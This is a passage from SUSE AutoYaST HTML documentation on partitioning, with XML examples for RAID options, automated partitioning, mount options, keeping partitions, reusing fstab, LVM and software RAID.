<div class="verbatim-wrap"><pre class="screen">&lt;raid_name&gt;/dev/md0&lt;/raid_name&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">raid_type</code>
         </p>
        </td><td>
         <p>
          Specify the type of the RAID.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;raid_type&gt;raid1&lt;/raid_type&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">raid_options</code>
         </p>
        </td><td>
         <p>
          Specify RAID options, see below.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;raid_options&gt;...&lt;/raid_options&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">resize</code>
         </p>
        </td><td>
         <p>
          This boolean must be <code class="literal">true</code> if an existing
          partition should be resized. In this case, you want to set
          <code class="literal">create</code> to <code class="literal">false</code> and usually
          you do not want to <code class="literal">format</code> the partition.  You need
          to tell AutoYaST the <code class="literal">partition_nr</code> and the
          <code class="literal">size</code>. The size can be in percentage of the
          original size or a number, like <code class="literal">800M</code>.
          <code class="literal">max</code> and <code class="literal">auto</code> do not work as
          size here.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;resize config:type="boolean"
&gt;false&lt;/resize&gt;</pre></div>
        </td><td>
         <p>
          Resizing only works with physical disks, not with LVM volumes.
         </p>
        </td></tr></tbody></table></div></div><div class="sect2 " id="ay.raid_configuration"><div class="titlepage"><div><div><h3 class="title" id="ay.raid_configuration"><span class="number">4.5.3 </span><span class="name">RAID Options</span> <a title="Permalink" class="permalink" href="configuration.html#ay.raid_configuration">#</a></h3></div></div></div><p>
     The following elements must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;partition&gt;
  &lt;raid_options&gt;
    ...
  &lt;/raid_options&gt;
&lt;/partition&gt;</pre></div><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">chunk_size</code>
         </p>
        </td><td>
         <p></p>
<div class="verbatim-wrap"><pre class="screen">&lt;chunk_size&gt;4&lt;/chunk_size&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">parity_algorithm</code>
         </p>
        </td><td>
         <p>
          Possible values are:
         </p>
         <p>
          <code class="literal">left_asymmetric</code>, <code class="literal">left_symmetric,
          right_asymmetric</code>, <code class="literal">right_symmetric</code>.
         </p>
         <p>
          For RAID6 and RAID10 the following values can be used:
         </p>
         <p>
          <code class="literal">parity_first</code>, <code class="literal">parity_last</code>,
          <code class="literal">left_asymmetric_6, left_symmetric_6</code>,
          <code class="literal">right_asymmetric_6</code>,
          <code class="literal">right_symmetric_6</code>,
          <code class="literal">parity_first_6</code>, <code class="literal">n2</code>,
          <code class="literal">o2</code>, <code class="literal">f2</code>,
          <code class="literal">n3</code>, <code class="literal">o3</code>,
          <code class="literal">f3</code> for RAID6 and RAID10.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;parity_algorithm
&gt;left_asymmetric&lt;/parity_algorithm&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          <code class="literal">raid_type</code>
         </p>
        </td><td>
         <p>
          Possible values are: <code class="literal">raid0</code>,
          <code class="literal">raid1</code> and <code class="literal">raid5</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;raid_type&gt;raid1&lt;/raid_type&gt;</pre></div>
        </td><td>
         <p>
          The default is raid1.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">device_order</code>
         </p>
        </td><td>
         <p>
          This list contains the optional order of the physical devices:
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;device_order config:type="list"&gt;
   &lt;device&gt;/dev/sdb2&lt;/device&gt;
   &lt;device&gt;/dev/sda1&lt;/device&gt;
   ...
&lt;/device_order&gt;</pre></div>
        </td><td>
         <p>
          This is optional and the default is alphabetical order.
         </p>
        </td></tr></tbody></table></div></div><div class="sect2 " id="ay.auto_partitioning"><div class="titlepage"><div><div><h3 class="title" id="ay.auto_partitioning"><span class="number">4.5.4 </span><span class="name">Automated Partitioning</span> <a title="Permalink" class="permalink" href="configuration.html#ay.auto_partitioning">#</a></h3></div></div></div><p>
     For automated partitioning, you only need to provide the sizes and
     mount points of partitions. All other data needed for successful
     partitioning is calculated during installation—unless provided in the
     control file.
    </p><p>
     If no partitions are defined and the specified drive is also the drive
     where the root partition should be created, the following partitions
     are created automatically:
    </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
       <code class="filename">/boot</code>
      </p><p>
       The size of the <code class="filename">/boot</code> partition is determined by
       the architecture of the target system.
      </p></li><li class="listitem "><p>
       <code class="filename">swap</code>
      </p><p>
       The size of the swap partition is determined by the amount of memory
       available in the system.
      </p></li><li class="listitem "><p>
       <code class="filename">/</code> (root partition)
      </p><p>
       The size of the root partition is determined by the space left after
       creating <code class="filename">swap</code> and <code class="filename">/boot</code>.
      </p></li></ul></div><p>
     Depending on the initial status of the drive and how it was previously
     partitioned, it is possible to create the default partitioning in the
     following ways:
    </p><div class="variablelist "><dl class="variablelist"><dt id="idm140013838751456"><span class="term ">Use Free Space</span></dt><dd><p>
        If the drive is already partitioned, it is possible to create the
        new partitions using the free space on the hard disk. This requires
        the availability of sufficient space for all selected packages in
        addition to swap.
       </p></dd><dt id="idm140013838749424"><span class="term ">Reuse all available space</span></dt><dd><p>
        Use this option to delete all existing partitions (Linux and
        non-Linux).
       </p></dd><dt id="idm140013838747536"><span class="term ">Reuse all available Linux partitions</span></dt><dd><p>
        This option deletes all existing Linux partitions. Other partitions
        (for example Windows partitions) remain untouched. Note that this
        works only if the Linux partitions are at the end of the device.
       </p></dd><dt id="idm140013838745520"><span class="term ">Reuse only specified partitions</span></dt><dd><p>
        This option allows you to select specific partitions to delete.
        Start the selection with the last available partition.
       </p></dd></dl></div><p>
     Repartitioning only works if the selected partitions are neighbors and
     located at the end of the device.
    </p><div id="idm140013838742864" class="admonition important"><img class="symbol" alt="Important" title="Important" src="static/images/icon-important.png" /><h6>Important: Beware of Data Loss</h6><p>
      The value provided in the <code class="literal">use</code> property determines
      how existing data and partitions are treated. The value
      <code class="literal">all</code> means that the entire disk will be erased. Make
      backups and use the <code class="literal">confirm</code> property if you need to
      keep some partitions with important data. Otherwise, no pop-ups will
      notify you about partitions being deleted.
     </p></div><p>
     If multiple drives are in the target system, identify all drives with
     their device names and specify how the partitioning should be
     performed.
    </p><p>
     Partition sizes can be given in gigabytes, megabytes or can be set to a
     flexible value using the keywords <code class="literal">auto</code> and
     <code class="literal">max</code>. <code class="literal">max</code> uses all available space
     on a drive, therefore should only be set for the last partition on the
     drive. With <code class="literal">auto</code> the size of a
     <code class="literal">swap</code> or <code class="literal">boot</code> partition is
     determined automatically, depending on the memory available and the
     type of the system.
    </p><p>
     A fixed size can be given as shown below:
    </p><p>
     <code class="literal">1GB</code>, <code class="literal">1G</code>,
     <code class="literal">100MB</code>, or <code class="literal">1000M</code> will all create a
     partition of the size 1 Gigabyte.
    </p><div class="complex-example"><div class="example" id="idm140013830835936"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.3: </span><span class="name">Automated Partitioning </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830835936">#</a></h6></div><div class="example-contents"><p>
      The following is an example of a single drive system, which is not
      pre-partitioned and should be automatically partitioned according to
      the described pre-defined partition plan. If you do not specify the
      device, it will be automatically detected.
     </p><div class="verbatim-wrap"><pre class="screen">&lt;partitioning  config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sda&lt;/device&gt;       
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;
</pre></div></div></div></div><p>
     A more detailed example shows how existing partitions and multiple
     drives are handled.
    </p><div class="example" id="idm140013830833248"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.4: </span><span class="name">Detailed Automated Partitioning </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830833248">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning  config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sda&lt;/device&gt;            
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
	&lt;mount&gt;/&lt;/mount&gt;
	&lt;size&gt;10G&lt;/size&gt;
      &lt;/partition&gt;
      &lt;partition&gt;
	&lt;mount&gt;swap&lt;/mount&gt;
	&lt;size&gt;1G&lt;/size&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
  &lt;/drive&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sdb&lt;/device&gt;
    &lt;use&gt;all&lt;/use&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
	&lt;filesystem  config:type="symbol"&gt;reiser&lt;/filesystem&gt;
	&lt;mount&gt;/data1&lt;/mount&gt;
	&lt;size&gt;15G&lt;/size&gt;	
      &lt;/partition&gt;
      &lt;partition&gt;
	&lt;filesystem  config:type="symbol"&gt;jfs&lt;/filesystem&gt;
	&lt;mount&gt;/data2&lt;/mount&gt;
	&lt;size&gt;auto&lt;/size&gt;	
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;free&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;
</pre></div></div></div></div><div class="sect2 " id="ay.partition_advanced"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_advanced"><span class="number">4.5.5 </span><span class="name">Advanced Partitioning Features</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_advanced">#</a></h3></div></div></div><p>
     
    </p><div class="sect3 " id="ay.partition_advanced.wipe"><div class="titlepage"><div><div><h4 class="title" id="ay.partition_advanced.wipe"><span class="number">4.5.5.1 </span><span class="name">Wipe out Partition Table</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_advanced.wipe">#</a></h4></div></div></div><p>
      Usually this is not needed because AutoYaST can delete partitions one
      by one automatically, but you need the option to let AutoYaST clear the
      partition table instead of deleting partitions individually.
     </p><p>
      Go to the <code class="literal">drive</code> section and add:
     </p><div class="verbatim-wrap"><pre class="screen">&lt;initialize config:type="boolean"&gt;true&lt;/initialize&gt;</pre></div><p>
      With this setting AutoYaST will delete the partition table before it
      starts to analyze the actual partitioning and calculates its partition
      plan. Of course this means, that you cannot keep any of your existing
      partitions.
     </p></div><div class="sect3 " id="ay.partition_advanced.mount"><div class="titlepage"><div><div><h4 class="title" id="ay.partition_advanced.mount"><span class="number">4.5.5.2 </span><span class="name">Mount Options</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_advanced.mount">#</a></h4></div></div></div><p>
      By default a file system to be mounted is identified in
      <code class="filename">/etc/fstab</code> by the device name. This
      identification can be changed so the file system is found by searching
      for a UUID or a volume label. Note that not all file systems can be
      mounted by UUID or a volume label. To specify how a partition is to be
      mounted, use the <code class="literal">mountby</code> property which has the
      <code class="literal">symbol</code> type. Possible options are:
     </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
        <code class="literal">device</code> (default)
       </p></li><li class="listitem "><p>
        <code class="literal">label</code>
       </p></li><li class="listitem "><p>
        <code class="literal">UUID</code>
       </p></li></ul></div><p>
      If you choose to mount the partition using a label, the name entered
      for the <code class="literal">label</code> property is used as the volume label.
     </p><p>
      Add any valid mount option in the fourth field of
      <code class="filename">/etc/fstab</code>. Multiple options are separated by
      commas. Possible fstab options:
     </p><div class="variablelist "><dl class="variablelist"><dt id="idm140013830814112"><span class="term ">Mount read-only (<code class="literal">ro</code>)</span></dt><dd><p>
         No write access to the file system. Default is
         <code class="literal">false</code>.
        </p></dd><dt id="idm140013830811376"><span class="term ">No access time (<code class="literal">noatime</code>)</span></dt><dd><p>
         Access times are not updated when a file is read. Default is
         <code class="literal">false</code>.
        </p></dd><dt id="idm140013836475488"><span class="term ">Mountable by User (<code class="literal">user</code>)</span></dt><dd><p>
         The file system can be mounted by a normal user. Default is
         <code class="literal">false</code>.
        </p></dd><dt id="idm140013836472736"><span class="term ">
	Data Journaling Mode (<code class="literal">ordered</code>,
        <code class="literal">journal</code>, <code class="literal">writeback</code>)
       </span></dt><dd><div class="variablelist "><dl class="variablelist"><dt id="idm140013836470064"><span class="term "><code class="literal">journal</code>
          </span></dt><dd><p>
            All data is committed to the journal prior to being written to
            the main file system.
           </p></dd><dt id="idm140013836467872"><span class="term "><code class="literal">ordered</code>
          </span></dt><dd><p>
            All data is directly written to the main file system before its
            metadata is committed to the journal.
           </p></dd><dt id="idm140013836465664"><span class="term "><code class="literal">writeback</code>
          </span></dt><dd><p>
            Data ordering is not preserved.
           </p></dd></dl></div></dd><dt id="idm140013836463056"><span class="term ">Access Control List (<code class="literal">acl</code>)</span></dt><dd><p>
         Enable access control lists on the file system.
        </p></dd><dt id="idm140013836460768"><span class="term ">Extended User Attributes (<code class="literal">user_xattr</code>)</span></dt><dd><p>
         Allow extended user attributes on the file system.
        </p></dd></dl></div><div class="example" id="idm140013836458304"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.5: </span><span class="name">Mount Options </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836458304">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitions config:type="list"&gt;
  &lt;partition&gt;   
    &lt;filesystem config:type="symbol"&gt;reiser&lt;/filesystem&gt;
    &lt;format config:type="boolean"&gt;true&lt;/format&gt;
    &lt;fstopt&gt;ro,noatime,user,data=ordered,acl,user_xattr&lt;/fstopt&gt;
    &lt;mount&gt;/local&lt;/mount&gt;
    &lt;mountby config:type="symbol"&gt;uuid&lt;/mountby&gt;
    &lt;partition_id config:type="integer"&gt;131&lt;/partition_id&gt;
    &lt;size&gt;10G&lt;/size&gt;
  &lt;/partition&gt;
&lt;/partitions&gt;
</pre></div></div></div></div><div class="sect3 " id="ay.partition_advanced.keep"><div class="titlepage"><div><div><h4 class="title" id="ay.partition_advanced.keep"><span class="number">4.5.5.3 </span><span class="name">Keeping Specific Partitions</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_advanced.keep">#</a></h4></div></div></div><p>
      In some cases you should leave partitions untouched and only format
      specific target partitions, rather than creating them from scratch.
      For example, if different Linux installations coexist, or you have
      another operating system installed, likely you do not want to wipe
      these out. You may also want to leave data partitions untouched.
     </p><p>
      Such scenarios require certain knowledge about the target systems and
      hard disks. Depending on the scenario, you might need to know the
      exact partition table of the target hard disk with partition ids,
      sizes and numbers. With this data you can tell AutoYaST to keep certain
      partitions, format others and create new partitions if needed.
     </p><p>
      The following example will keep partitions 1, 2 and 5 and delete
      partition 6 to create two new partitions. All remaining partitions
      will only be formatted.
      
     </p><div class="example" id="idm140013836452416"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.6: </span><span class="name">Keeping partitions </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836452416">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sdc&lt;/device&gt;
      &lt;partitions config:type="list"&gt;
        &lt;partition&gt;
          &lt;create config:type="boolean"&gt;false&lt;/create&gt;
          &lt;format config:type="boolean"&gt;true&lt;/format&gt;
          &lt;mount&gt;/&lt;/mount&gt;
          &lt;partition_nr config:type="integer"&gt;1&lt;/partition_nr&gt;
        &lt;/partition&gt;
        &lt;partition&gt;
          &lt;create config:type="boolean"&gt;false&lt;/create&gt;
          &lt;format config:type="boolean"&gt;false&lt;/format&gt;
          &lt;partition_nr config:type="integer"&gt;2&lt;/partition_nr&gt;
          &lt;mount&gt;/space&lt;/mount&gt;
        &lt;/partition&gt;
        &lt;partition&gt;
          &lt;create config:type="boolean"&gt;false&lt;/create&gt;
          &lt;format config:type="boolean"&gt;true&lt;/format&gt;
          &lt;filesystem config:type="symbol"&gt;swap&lt;/filesystem&gt;
          &lt;partition_nr config:type="integer"&gt;5&lt;/partition_nr&gt;
          &lt;mount&gt;swap&lt;/mount&gt;
        &lt;/partition&gt;
        &lt;partition&gt;
          &lt;format config:type="boolean"&gt;true&lt;/format&gt;
          &lt;mount&gt;/space2&lt;/mount&gt;
          &lt;size&gt;5G&lt;/size&gt;
        &lt;/partition&gt;
        &lt;partition&gt;
          &lt;format config:type="boolean"&gt;true&lt;/format&gt;
          &lt;mount&gt;/space3&lt;/mount&gt;
          &lt;size&gt;max&lt;/size&gt;
        &lt;/partition&gt;
      &lt;/partitions&gt;
    &lt;use&gt;6&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div></div></div><p>
      The last example requires exact knowledge of the existing partition
      table and the partition numbers of those partitions that should be
      kept. In some cases however, such data may not be available,
      especially in a mixed hardware environment with different hard disk
      types and configurations. The following scenario is for a system with
      a non-Linux OS with a designated area for a Linux installation.
     </p><div class="figure" id="partitioning-keep1"><div class="figure-contents"><div class="mediaobject"><a xmlns="" href="images/partitioning-keep1.png"><img src="images/partitioning-keep1.png" width="" alt="Keeping partitions" /></a></div></div><div class="figure-title-wrap"><h6 class="figure-title"><span class="number">Figure 4.1: </span><span class="name">Keeping partitions </span><a title="Permalink" class="permalink" href="configuration.html#partitioning-keep1">#</a></h6></div></div><p>
      In this scenario, shown in figure
      <a class="xref" href="configuration.html#partitioning-keep1" title="Keeping partitions">Figure 4.1, “Keeping partitions”</a>, AutoYaST will not create new
      partitions. Instead it searches for certain partition types on the
      system and uses them according to the partitioning plan in the control
      file. No partition numbers are given in this case, only the mount
      points and the partition types (additional configuration data can be
      provided, for example file system options, encryption and file system
      type).
     </p><div class="example" id="idm140013830314160"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.7: </span><span class="name">Auto-detection of partitions to be kept. </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830314160">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;create config:type="boolean"&gt;false&lt;/create&gt;
        &lt;format config:type="boolean"&gt;true&lt;/format&gt;
        &lt;mount&gt;/&lt;/mount&gt;
        &lt;partition_id config:type="integer"&gt;131&lt;/partition_id&gt;
      &lt;/partition&gt;
      &lt;partition&gt;
        &lt;create config:type="boolean"&gt;false&lt;/create&gt;
        &lt;format config:type="boolean"&gt;true&lt;/format&gt;
        &lt;filesystem config:type="symbol"&gt;swap&lt;/filesystem&gt;
        &lt;partition_id config:type="integer"&gt;130&lt;/partition_id&gt;
        &lt;mount&gt;swap&lt;/mount&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div></div></div></div></div><div class="sect2 " id="ay.partition_fstab"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_fstab"><span class="number">4.5.6 </span><span class="name">Using an Existing Mount Table (fstab)</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_fstab">#</a></h3></div></div></div><p>
     This option will allow AutoYaST to use an existing
     <code class="filename">/etc/fstab</code> and use the partition data from a
     previous installation. All partitions are kept and no new partitions
     are created. The partitions will be formatted and mounted as specified
     in <code class="filename">/etc/fstab</code> on a Linux root partition.
    </p><p>
     Although the default behavior is to format all partitions, it is also
     possible to leave some partitions untouched and only mount them, for
     example data partitions. If multiple installations are found on the
     system (multiple root partitions with different
     <code class="filename">fstab</code> files, the installation will abort, unless
     the root partition is configured in the control file. The following
     example illustrates how this option can be used:
    </p><div class="example" id="idm140013830307808"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.8: </span><span class="name">Reading an Existing <code class="filename">/etc/fstab</code> </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830307808">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning_advanced&gt;
  &lt;fstab&gt;
    &lt;!-- Read data from existing fstab. If multiple root partitions are
            found, use the one specified below. Otherwise the first root
	    partition is taken --&gt;
    &lt;!-- &lt;root_partition&gt;/dev/sda5&lt;/root_partition&gt; --&gt;
    &lt;use_existing_fstab config:type="boolean"&gt;true&lt;/use_existing_fstab&gt;
    &lt;!-- all partitions found in fstab will be formatted and mounted
            by default unless a partition is listed below with different
	    settings --&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;format config:type="boolean"&gt;false&lt;/format&gt;
        &lt;mount&gt;/bootmirror&lt;/mount&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
  &lt;/fstab&gt;
&lt;/partitioning_advanced&gt;</pre></div></div></div></div><div class="sect2 " id="ay.partition_lvm"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_lvm"><span class="number">4.5.7 </span><span class="name">Logical Volume Manager (LVM)</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_lvm">#</a></h3></div></div></div><p>
     To configure LVM, first create a physical volume using the normal
     partitioning method described above.
    </p><div class="complex-example"><div class="example" id="idm140013830303600"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.9: </span><span class="name">Create LVM Physical Volume </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830303600">#</a></h6></div><div class="example-contents"><p>
      The following example shows how to prepare for LVM in the
      <code class="literal">partitioning</code> resource. A non-formatted partition is
      created on device <code class="filename">/dev/sda1</code> of the type
      <code class="literal">LVM</code> and with the volume group
      <code class="literal">system</code>. This partition will use all space available
      on the drive.
     </p><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sda&lt;/device&gt;         
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;create config:type="boolean"&gt;true&lt;/create&gt;	  	  
        &lt;lvm_group&gt;system&lt;/lvm_group&gt;
        &lt;partition_type&gt;primary&lt;/partition_type&gt;
        &lt;partition_id config:type="integer"&gt;142&lt;/partition_id&gt;
        &lt;partition_nr config:type="integer"&gt;1&lt;/partition_nr&gt;
        &lt;size&gt;max&lt;/size&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div></div></div></div><div class="example" id="idm140013830299344"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.10: </span><span class="name">LVM Logical Volumes </span><a title="Permalink" class="permalink" href="configuration.html#idm140013830299344">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sda&lt;/device&gt;             
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;	 
        &lt;lvm_group&gt;system&lt;/lvm_group&gt;
        &lt;partition_type&gt;primary&lt;/partition_type&gt;
        &lt;size&gt;max&lt;/size&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/system&lt;/device&gt;       
      &lt;is_lvm_vg config:type="boolean"&gt;true&lt;/is_lvm_vg&gt;
      &lt;partitions config:type="list"&gt;
	&lt;partition&gt;
	  &lt;filesystem config:type="symbol"&gt;reiser&lt;/filesystem&gt;
	  &lt;lv_name&gt;user_lv&lt;/lv_name&gt;
	  &lt;mount&gt;/usr&lt;/mount&gt;
	  &lt;size&gt;15G&lt;/size&gt;
	&lt;/partition&gt;
	&lt;partition&gt;
	  &lt;filesystem config:type="symbol"&gt;reiser&lt;/filesystem&gt;
	  &lt;lv_name&gt;opt_lv&lt;/lv_name&gt;
	  &lt;mount&gt;/opt&lt;/mount&gt;
	  &lt;size&gt;10G&lt;/size&gt;
	&lt;/partition&gt;
	&lt;partition&gt;
	  &lt;filesystem config:type="symbol"&gt;reiser&lt;/filesystem&gt;
	  &lt;lv_name&gt;var_lv&lt;/lv_name&gt;
	  &lt;mount&gt;/var&lt;/mount&gt;
	  &lt;size&gt;1G&lt;/size&gt;
	&lt;/partition&gt;
      &lt;/partitions&gt;
      &lt;pesize&gt;4M&lt;/pesize&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;
</pre></div></div></div><p>
     It is possible to set the <code class="literal">size</code> to
     <code class="literal">max</code> for the logical volumes. Of course, you can only
     use <code class="literal">max</code> for one(!) logical volume. You cannot set
     two logical volumes in one volume group to <code class="literal">max</code>.
    </p></div><div class="sect2 " id="ay.partition_sw_raid"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_sw_raid"><span class="number">4.5.8 </span><span class="name">Software RAID</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_sw_raid">#</a></h3></div></div></div><p>
     Using AutoYaST, you can create and assemble software RAID devices. The
     supported RAID levels are the following:
    </p><div class="variablelist "><dl class="variablelist"><dt id="idm140013830292432"><span class="term ">RAID 0</span></dt><dd><p>
        This level increases your disk performance. There is
        <span class="emphasis"><em>no</em></span> redundancy in this mode. If one of the
        drives crashes, data recovery will not be possible.
       </p></dd><dt id="idm140013830290048"><span class="term ">RAID 1</span></dt><dd><p>
        This mode offers the best redundancy. It can be used with two or
        more disks. An exact copy of all data is maintained on all disks. As
        long as at least one disk is still working, no data is lost. The
        partitions used for this type of RAID should have approximately the
        same size.
       </p></dd><dt id="idm140013830287952"><span class="term ">RAID 5</span></dt><dd><p>
        This mode combines management of a larger number of disks and still
        maintains some redundancy. This mode can be used on three disks or
        more. If one disk fails, all data is still intact. If two disks fail
        simultaneously, all data is lost.
       </p></dd><dt id="idm140013838970288"><span class="term ">Multipath</span></dt><dd><p>
        This mode allows access to the same physical device via multiple
        controllers for redundancy against a fault in a controller card.
        This mode can be used with at least two devices.
       </p></dd></dl></div><p>
     As with LVM, you need to create all RAID partitions first and assign
     them to the RAID device you want to create afterwards. Additionally you
     need to specify whether a partition or a device should be part of the
     RAID or if it should be a Spare device.
    </p><p>
     The following example shows a simple RAID1 configuration:
    </p><div class="example" id="idm140013838966944"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.11: </span><span class="name">RAID1 configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838966944">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;partitioning config:type="list"&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sda&lt;/device&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;partition_id config:type="integer"&gt;253&lt;/partition_id&gt;
        &lt;format config:type="boolean"&gt;false&lt;/format&gt;
        &lt;raid_name&gt;/dev/md0&lt;/raid_name&gt;
        &lt;raid_type&gt;raid&lt;/raid_type&gt;
        &lt;size&gt;4G&lt;/size&gt;            
      &lt;/partition&gt;

	&lt;!-- Insert a configuration for the regular partitions located on
	        /dev/sda here (for example / and swap) --&gt;
        
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/sdb&lt;/device&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;format config:type="boolean"&gt;false&lt;/format&gt;
        &lt;partition_id config:type="integer"&gt;253&lt;/partition_id&gt;
        &lt;raid_name&gt;/dev/md0&lt;/raid_name&gt;            
        &lt;raid_type&gt;raid&lt;/raid_type&gt;
        &lt;size&gt;4gb&lt;/size&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
  &lt;drive&gt;
    &lt;device&gt;/dev/md&lt;/device&gt;
    &lt;partitions config:type="list"&gt;
      &lt;partition&gt;
        &lt;filesystem config:type="symbol"&gt;reiser&lt;/filesystem&gt;
        &lt;format config:type="boolean"&gt;true&lt;/format&gt;
        &lt;mount&gt;/space&lt;/mount&gt;
        &lt;partition_id config:type="integer"&gt;131&lt;/partition_id&gt;
        &lt;partition_nr config:type="integer"&gt;0&lt;/partition_nr&gt;
        &lt;raid_options&gt;
          &lt;chunk_size&gt;4&lt;/chunk_size&gt;
          &lt;parity_algorithm&gt;left-asymmetric&lt;/parity_algorithm&gt;
          &lt;raid_type&gt;raid1&lt;/raid_type&gt;
        &lt;/raid_options&gt;
      &lt;/partition&gt;
    &lt;/partitions&gt;
    &lt;use&gt;all&lt;/use&gt;
  &lt;/drive&gt;
&lt;/partitioning&gt;</pre></div></div></div><p>
     Keep the following in mind when configuring a RAID:
    </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
       The device for raid is always <code class="literal">/dev/md</code>
      </p></li><li class="listitem "><p>
       The property <code class="literal">partition_nr</code> is used to determine the
       MD device number. If <code class="literal">partition_nr</code> is equal to 0,
       then <code class="literal">/dev/md0</code> is configured.
      </p></li><li class="listitem "><p>
       All RAID-specific options are contained in the
       <code class="literal">raid_options</code> resource.
      </p></li></ul></div></div><div class="sect2 " id="ay.partition_s390"><div class="titlepage"><div><div><h3 class="title" id="ay.partition_s390"><span class="number">4.5.9 </span><span class="name">IBM System z Specific Configuration</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_s390">#</a></h3></div></div></div><p></p><div class="sect3 " id="ay.partition_s390.dasd"><div class="titlepage"><div><div><h4 class="title" id="ay.partition_s390.dasd"><span class="number">4.5.9.1 </span><span class="name">Configuring DASD Disks</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_s390.dasd">#</a></h4></div></div></div><p>
      The elements listed below must be placed within the following XML
      structure:
